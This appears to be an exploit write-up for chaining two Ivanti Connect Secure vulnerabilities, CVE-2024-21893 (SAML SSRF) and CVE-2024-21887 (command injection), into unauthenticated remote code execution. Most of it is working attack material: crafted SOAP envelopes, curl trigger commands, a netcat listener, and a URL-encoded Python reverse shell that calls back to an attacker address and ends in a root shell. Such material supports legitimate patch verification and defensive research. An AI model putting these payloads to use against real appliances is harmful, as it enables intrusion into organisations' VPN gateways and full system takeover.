Ivanti - CVE-2024-21893 / 21887

CVE-2024-21893 is a server-side request forgery vulnerability in the SAML component which allows an attacker to access certain restricted resources without authentication.

CVE-2024-21887 is a command injection vulnerability which allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

Both vulnerabilities affect Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA. When used together it allows an unauthenticated user to execute commands on the vulnerable target system.

SSRF POC

To perform an SSRF and make saml-server perform an HTTP request to a machine we control (192.168.86.35 in the below example), the following SOAP envelope can be used (saved to a file called post_data.xml).

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://192.168.86.35:4488/exploit.se"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

Trigger the SSRF with a simple cURL request to the Ivanti Connect Secure appliance (192.168.86.111 in the example below):

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws

Capture the callback from the vulnerable server with netcat.

> nc -lvnp 4488
GET /exploit.se HTTP/1.0
Host: 192.168.86.35:4444

Chaining SSRF and CVE-2024-21887 for RCE

The injection vulnerability exists in the /api/v1/license/keys-status endpoint, and is reachable via a single HTTP GET request.

The Python back end that services the /api/v1/license/keys-status endpoint listens on a locally bound port 8090. Therefore, we can exploit this command injection via an HTTP GET request to http://127.0.0.1:8090/api/v1/license/keys-status if the HTTP GET request occurs on the appliance itself, for example via an SSRF vulnerability. As authentication is performed by the front-end web server and not the back-end services, no authentication is needed. This allows us to leverage the SSRF vulnerability to bypass the original mitigation from Ivanti, which imposed filtering restrictions in the front-end web server.

Modify the SSRF URI as follows. This will trigger the command injection and run a Python-based reverse shell payload back to our attacker machine.

http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4488%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Our XML SOAP envelope becomes as follows:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4488%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

Trigger the SSRF vulnerability just like before, which in turn triggers the command injection vulnerability, ultimately giving us a reverse shell.

curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws
> nc -lvnp 4488
...
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# pwd
/data/var/cores

Last updated